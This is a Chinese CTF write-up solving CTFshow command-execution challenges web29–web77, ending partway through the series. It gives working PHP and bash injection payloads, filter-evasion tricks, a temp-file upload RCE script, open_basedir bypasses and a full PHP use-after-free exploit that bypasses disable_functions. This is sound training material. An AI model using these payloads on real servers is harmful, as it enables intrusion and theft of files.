[CTFshow] 命令執行 29-77,118-124

sunset2131發表於2024-09-17

web29

簡單過濾

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=system('tac fla*');

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=passthru('tac fla*');

web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

嘗試了使用 ${IFS} $IFS$9 < <> {,} 替換了空格字元,發現無效

  1. 學到了一種新的姿勢,傳入eval再生成一個get引數,新的引數不會被過濾

    ?c=eval($_GET[x]);&x=system("tac flag.php");

web32


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又學到新姿勢

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

include$_GET[1]?> , ?> 充當;結束符, PHP 在遇到關閉標籤 ?> 時,會自動認為這是語句的結束,即使沒有明確的分號

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

和上一題一模一樣

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

和上一題一模一樣

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

通殺

web36


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

這次過濾了數字,把$_GET的引數改一下就行

?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;    
    }        
}else{
    highlight_file(__FILE__);
}

偽協議中的data://,可以讓使用者來控制輸入流,當它與包含函式結合時,使用者輸入的data://流會被當作php檔案執行
?c=data://text/plain,<?php system('tac f*'); ?>

web38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;    
    }        
}else{
    highlight_file(__FILE__);
}

嘗試了上一題的做法發現不回顯,但又不知道哪裡被過濾了,這題直接base64編碼即可

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTsgPz4=

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }        
}else{
    highlight_file(__FILE__);
}

強加字尾,測試之前的做法

?c=data://text/plain,<?=phpinfo()?> 成功執行,所以無影響

?c=data://text/plain,<?=system('tac f*')?> 獲取flag

web40


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

過濾的其實是中文的括號

?c=phpinfo(); phpinfo裡面沒東西

只能用括號,應該是無參RCE了

參考:https://blog.csdn.net/qq_38154820/article/details/107171940

  1. 讀取當前目錄,localeconv()返回一包含本地數字及貨幣格式資訊的陣列。而陣列第一項就是"."pos()返回陣列中的單元,預設取第一個值

    ?c=print_r(scandir(pos(localeconv())));
    // Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 
    

    發現flag在倒數第二個

  2. 反轉陣列,把flag弄到第二個,array_reverse() 以相反的元素順序返回陣列

    ?c=print_r(array_reverse(scandir(pos(localeconv()))));
    // Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . ) 
    
  3. 獲取 flag.php的字串,next() 將陣列中的內部指標向前移動一位

    ?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
    // flag.php
    
  4. 讀取flag.php,使用readfile等常規讀取檔案函式不回顯,使用show_source ,高亮顯示檔案回顯檔案內容

    ?c=print_r(show_source(next(array_reverse(scandir(pos(localeconv()))))));
    

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

又他🐎是新東西,無數字字母RCE,取反、異或、自增、臨時檔案

^字元被過濾了所以是用不了異或,|沒有被過濾,則使用或運算

  1. 使用指令碼先執行rec_or.php 生成 rec_or.txt後挨個找來構造

    <?php
    $myfile = fopen("rce_or.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { 
    	for ($j=0; $j <256 ; $j++) { 
    		if($i<16){
    			$hex_i='0'.dechex($i);
    		}
    		else{
    			$hex_i=dechex($i);
    		}
    		if($j<16){
    			$hex_j='0'.dechex($j);
    		}
    		else{
    			$hex_j=dechex($j);
    		}
    		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    					echo "";
        }
    		else{
    		$a='%'.$hex_i;
    		$b='%'.$hex_j;
    		$c=(urldecode($a)|urldecode($b));
    		if (ord($c)>=32&ord($c)<=126) {
    			$contents=$contents.$c." ".$a." ".$b."\n";
    		}
    	}
    }
    }
    fwrite($myfile,$contents);
    fclose($myfile);
    
  2. 構造payload

    system('ls')(system)('ls')是一樣的都可以執行

    要使用或運算構造字串時應將所有如剛才提到的未知字元1拼接到一起|未知字元2拼接到一起

    system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60") 其中%13|%60=s %19|%60=y %14|%60=t

    # **payload** 
    ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
    

    注意不要使用hackbar來提交,會再進行一次url編碼,使用bp提交

    POST / HTTP/1.1
    Host: 
    .....
    c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
    
  3. 提交後即可得到flag

web42


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

>/dev/null 2>&1 該條shell命令將不會輸出任何資訊到控制檯,也不會有任何資訊輸出到檔案中

使用 || 來繞過,邏輯或(OR)操作,如果第一個命令執行失敗(返回非 0 狀態碼),則執行第二個命令。如果第一個命令成功執行(返回 0 狀態碼),則不會執行第二個命令。

?c=ls||  // 等於 ls || >/dev/null 2>&1 左邊執行成功就不會執行右邊的
?c=tac flag.php||

web43


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

增加了正則 /\;|cat/i ,但不影響和上一題一模一樣

?c=ls||
?c=tac flag.php||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正則繞過

?c=tac f*||

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正則匹配空格,${IFS} ,$IFS$9,<,<> 代替

?c=tac${IFS}fl*||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾了*$ ,使用字串拼接,使用"" or '' 來拼接

ls||
?c=tac<'fl''ag.php'||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

和上一題一樣的payload

?c=tac<'fl''ag.php'||

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

和上一題一樣的payload

c=tac<'fl''ag.php'||

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上一題一樣的payload

?c=tac<'fl''ag.php'||

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上一題一樣的payload

?c=tac<'fl''ag.php'||

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

不影響payload,修改一下即可

?c=t'a'c<'fl''ag.php'||

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

>< 被過濾了,不過$被放出來了,使用${IFS}

# 發現flag不在當前目錄下
?c=t'a'c${IFS}'fl''ag.php'||
# 尋找
## 再根目錄下找到flag檔案,檢視,取得flag
?c=ls${IFS}/||
?c=t'a'c${IFS}/'fl'ag||

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);   //會顯示payload,輸入ls的話看到的檔案會混淆
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 

還是一樣

?c=t"a"c${IFS}"fl"ag.php

web54


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

.*c.*a.*t.*: 匹配任何包含 "cat" 的命令或字串。.* 表示任意字元,所以不論是否有間隔,都會檢測出 cat
? 沒有被過濾,在Linux中可以替換單個字元,有個 flag在f12註釋掉了

?c=ls //flag.php index.php 
# 解法1
?c=uniq${IFS}f???????
# 解法2
?c=/bin/ca?${IFS}f???????
# 解法3
?c=mv${IFS}f???????${IFS}a.txt
?c=uniq${IFS}a.txt

web55

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

把字母ban了,因為操作的bash,所以使用無字母bashshell操作

?c=$'\154\163' // ls
?c=$'\143\141\164'%20$'\146\154\141\147\56\160\150\160' //cat flag.php

另一種做法

?c=/???/????64 ????.???
// /bin/base64 flag.php

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

過濾了數字字母,$ 也被過濾了,使用臨時檔案上傳

p神的文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

大致思路就是,上傳php檔案後會臨時儲存到/tmp/phpxxxxxx命名

然後我們透過 ?c=. /tmp/phpxxxxxx 去訪問臨時檔案, /tmp/phpxxxxxx 裡面是cat flag.php 之類的程式碼

指令碼檔案:

# -*- coding: utf-8 -*-
import requests

url = input("請輸入URL:") // ctfshow....
catFlag = input("你想執行的命令:") //cat flag.php
flag = input("你想頁面回顯中有什麼?") //flag
if "https" in url:
    url = url.replace("https", "http") // 替換flag為flag
add = "?c=.+/???/????????[@-[]" //這個就是匹配. /tmp/phpxxxxxx
while True:
    req = requests.post(url+add,files={"file": ("1.txt",catFlag)}) //上傳檔案,上傳之後會儲存在臨時資料夾/tmp並以phpxxxxxx命名
    if flag in req.text: // 假如回顯結果存在 flag
        print(req.text) // 輸出頁面內容
        break

web57

// 還能炫的動嗎?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

使用$(())構造

透過$(())操作構造出36: $(()) :代表做一次運算,因為裡面為空,也表示值為0

$(( ~$(()) )) :對0作取反運算,值為-1

$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)為-2,所以值為-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再對-2做一次取反得到1,所以值為1

故我們在$(( ~$(( )) ))裡面放37個$((~$(()))),得到-37,取反即可得到36:

來自 By j4m13d 師傅

payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

POST,嘗試system() ,顯示被禁用,嘗試readfile 獲得flag

c=readfile('flag.php');

web59

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

readfile被禁用

c=show_source('flag.php');

web60

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
c=show_source('flag.php');

web61

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
#3

web62

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web63


// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 
#1
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
#2
c=show_source('flag.php');

web64

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
    }
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web65

不是哥們?怎麼一樣的

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
    }
#1
c=show_source('flag.php');
#2
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web66

不一樣了,把show_source給禁用了

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
    }
  1. 再嘗試,發現flag不在這裡

    
    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
    
  2. 使用 scandir檢查目錄,發現flag.txt

    c=print_r(scandir('../../../'));
    //Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var ) 
    
  3. 在使用之前的命令來讀取檔案

    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt
    

web67

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

嘗試上一題的方法發現可以

c=print_r(scandir('../../../'));

c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt

web68

進門就是提示hightlight_file是用不了

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

嘗試根據之前的原始碼來做

  1. 檢查路徑,發現flag.txt

    c=print_r(scandir('/')); # 被禁用
    c=var_dump(scandir('/')); # 可執行
    
  2. 讀取flag.txt

    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt
    

web69

老樣子進門就是提示hightlight_file是用不了

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

和上一題思路一樣

  1. print_rvar_dump 都被禁用

    # 1 因為scandir輸出的是陣列
    c=echo scandir('/')[6]; //一個一個嘗試不過會耗時間
    # 2
    c=var_export(scandir('/')); // 更方便
    
  2. 讀取檔案

    #1
    c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt
    #2
    c=readgzfile('/flag.txt');
    

web70

進門提示:


Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天嗎? 

根據上面的原始碼來做

c=var_export(scandir('/')); // 檢視目錄,發現flag.txt

// 讀取檔案
c=include$_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=../../../flag.txt

web71

輸出結果都變成了問號,沒見過的,檢視wp

提前送出緩衝區或終止程式

$s = ob_get_contents(); // 獲取緩衝區
        ob_end_clean(); // 清楚緩衝區資料並輸出
        echo preg_replace("/[0-9]|[a-z]/i","?",$s); //替換字元

在劫持輸出緩衝區之前就把緩衝區送出,可以用的函式有:

ob_flush(); //緩衝區資料輸出
ob_end_flush(); //清楚緩衝區資料並輸出

payload示例:

c=include('/flag.txt');ob_flush();

使用 exit() die() 中止指令碼也可以

web72

error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>
  1. 使用scandir發現只能檢視本目錄,上一級目錄就不行了,看報錯是open_basedir限制了

    c=var_export(scandir('../'));exit();
    //scandir(): open_basedir restriction in effect. File(../) is not within the allowed path(s):
    
  2. 使用 DirectoryIterator+glob:// 來獲取根目錄檔案

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    發現flag0.txt 檔案

  3. 用之前的方法檢視檔案

    c=include('../../../flag0.txt');exit(); // 被 open basedir 限制
    

    使用uaf指令碼,ctfshow提供的poc,使用url編碼後提交上去即可

    <?php
    function ctfshow($cmd) {
        global $abc, $helper, $backtrace;
    
        class Vuln {
            public $a;
            public function __destruct() { 
                global $backtrace; 
                unset($this->a);
                $backtrace = (new Exception)->getTrace();
                if(!isset($backtrace[1]['args'])) {
                    $backtrace = debug_backtrace();
                }
            }
        }
    
        class Helper {
            public $a, $b, $c, $d;
        }
    
        function str2ptr(&$str, $p = 0, $s = 8) {
            $address = 0;
            for($j = $s-1; $j >= 0; $j--) {
                $address <<= 8;
                $address |= ord($str[$p+$j]);
            }
            return $address;
        }
    
        function ptr2str($ptr, $m = 8) {
            $out = "";
            for ($i=0; $i < $m; $i++) {
                $out .= sprintf("%c",($ptr & 0xff));
                $ptr >>= 8;
            }
            return $out;
        }
    
        function write(&$str, $p, $v, $n = 8) {
            $i = 0;
            for($i = 0; $i < $n; $i++) {
                $str[$p + $i] = sprintf("%c",($v & 0xff));
                $v >>= 8;
            }
        }
    
        function leak($addr, $p = 0, $s = 8) {
            global $abc, $helper;
            write($abc, 0x68, $addr + $p - 0x10);
            $leak = strlen($helper->a);
            if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
            return $leak;
        }
    
        function parse_elf($base) {
            $e_type = leak($base, 0x10, 2);
    
            $e_phoff = leak($base, 0x20);
            $e_phentsize = leak($base, 0x36, 2);
            $e_phnum = leak($base, 0x38, 2);
    
            for($i = 0; $i < $e_phnum; $i++) {
                $header = $base + $e_phoff + $i * $e_phentsize;
                $p_type  = leak($header, 0, 4);
                $p_flags = leak($header, 4, 4);
                $p_vaddr = leak($header, 0x10);
                $p_memsz = leak($header, 0x28);
    
                if($p_type == 1 && $p_flags == 6) { 
    
                    $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                    $data_size = $p_memsz;
                } else if($p_type == 1 && $p_flags == 5) { 
                    $text_size = $p_memsz;
                }
            }
    
            if(!$data_addr || !$text_size || !$data_size)
                return false;
    
            return [$data_addr, $text_size, $data_size];
        }
    
        function get_basic_funcs($base, $elf) {
            list($data_addr, $text_size, $data_size) = $elf;
            for($i = 0; $i < $data_size / 8; $i++) {
                $leak = leak($data_addr, $i * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    
                    if($deref != 0x746e6174736e6f63)
                        continue;
                } else continue;
    
                $leak = leak($data_addr, ($i + 4) * 8);
                if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                    $deref = leak($leak);
                    
                    if($deref != 0x786568326e6962)
                        continue;
                } else continue;
    
                return $data_addr + $i * 8;
            }
        }
    
        function get_binary_base($binary_leak) {
            $base = 0;
            $start = $binary_leak & 0xfffffffffffff000;
            for($i = 0; $i < 0x1000; $i++) {
                $addr = $start - 0x1000 * $i;
                $leak = leak($addr, 0, 7);
                if($leak == 0x10102464c457f) {
                    return $addr;
                }
            }
        }
    
        function get_system($basic_funcs) {
            $addr = $basic_funcs;
            do {
                $f_entry = leak($addr);
                $f_name = leak($f_entry, 0, 6);
    
                if($f_name == 0x6d6574737973) {
                    return leak($addr + 8);
                }
                $addr += 0x20;
            } while($f_entry != 0);
            return false;
        }
    
        function trigger_uaf($arg) {
    
            $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
            $vuln = new Vuln();
            $vuln->a = $arg;
        }
    
        if(stristr(PHP_OS, 'WIN')) {
            die('This PoC is for *nix systems only.');
        }
    
        $n_alloc = 10; 
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    
        trigger_uaf('x');
        $abc = $backtrace[1]['args'][0];
    
        $helper = new Helper;
        $helper->b = function ($x) { };
    
        if(strlen($abc) == 79 || strlen($abc) == 0) {
            die("UAF failed");
        }
    
        $closure_handlers = str2ptr($abc, 0);
        $php_heap = str2ptr($abc, 0x58);
        $abc_addr = $php_heap - 0xc8;
    
        write($abc, 0x60, 2);
        write($abc, 0x70, 6);
    
        write($abc, 0x10, $abc_addr + 0x60);
        write($abc, 0x18, 0xa);
    
        $closure_obj = str2ptr($abc, 0x20);
    
        $binary_leak = leak($closure_handlers, 8);
        if(!($base = get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
    
        if(!($elf = parse_elf($base))) {
            die("Couldn't parse ELF header");
        }
    
        if(!($basic_funcs = get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
    
        if(!($zif_system = get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
    
        $fake_obj_offset = 0xd0;
        for($i = 0; $i < 0x110; $i += 8) {
            write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
        }
    
        write($abc, 0x20, $abc_addr + $fake_obj_offset);
        write($abc, 0xd0 + 0x38, 1, 4); 
        write($abc, 0xd0 + 0x68, $zif_system); 
    
        ($helper->b)($cmd);
        exit();
    }
    
    ctfshow("cat /flag0.txt");ob_end_flush();
    ?>
    

web73

沒有提供原始碼,嘗試按照之前的原始碼來做

  1. 嘗試scandir等操作

    c=var_export(scandir('/'));exit();
    // 回顯成功 ,發現 flagc.txt
    // array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flagc.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )
    // 嘗試讀取
    c=include('/flagc.txt');exit();
    // 獲得flag 意外的正常
    

web74

沒有提供原始碼,嘗試按照之前的原始碼來做

c=var_export(scandir('/'));exit(); //回顯NULL
// 嘗試其他的讀取目錄方法
c=$arrFiles = array();$handle = opendir('/');if ($handle) {while (($entry = readdir($handle)) !== FALSE) {$arrFiles[]=$entry;}}closedir($handle);var_export($arrFiles);exit();
// 讀取成功,發現flagx.txt
// array ( 0 => 'srv', 1 => 'usr', 2 => 'root', 3 => 'media', 4 => '..', 5 => 'lib', 6 => 'sys', 7 => 'var', 8 => 'opt', 9 => 'proc', 10 => 'home', 11 => 'bin', 12 => 'dev', 13 => 'mnt', 14 => 'run', 15 => 'sbin', 16 => 'tmp', 17 => 'etc', 18 => '.', 19 => 'flagx.txt', 20 => '.dockerenv', )
// 讀取
c=include('/flagx.txt');exit();

web75

沒有提供原始碼,嘗試按照之前的原始碼來做

  1. 嘗試上一題獲取目錄的方法,發現這次設定了open_basedir,使用web72的方法

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    發現flag36.txt

  2. 讀取檔案,嘗試了uaf的指令碼,但是發現strlen被禁用了,所以使用不了,include也不行

    看了wp發現還可以使用mysqlload_file

    c=$con = mysqli_connect('127.0.0.1','root','root');$result = mysqli_query($con,"SELECT load_file('/flag36.txt')"); while ($row = mysqli_fetch_assoc($result)){var_export($row);};exit();
    

    獲取到flag

web76

沒有提供原始碼,嘗試按照之前的原始碼來做

  1. 嘗試上一題獲取目錄的方法,發現這次設定了open_basedir,使用web72的方法

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    發現flag36d.txt

  2. 讀取檔案,嘗試了uaf的指令碼,但是發現strlen被禁用了,所以使用不了,include也不行

    再嘗試上一題的payload

    c=$con = mysqli_connect('127.0.0.1','root','root');$result = mysqli_query($con,"SELECT load_file('/flag36.txt')"); while ($row = mysqli_fetch_assoc($result)){var_export($row);};exit();
    

    獲取到flag

web77

沒有提供原始碼,嘗試按照之前的原始碼來做

  1. 嘗試上一題獲取目錄的方法,發現這次設定了open_basedir,使用web72的方法

    c=$a = new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    

    發現flag36x.txt ,並看到readflag方法

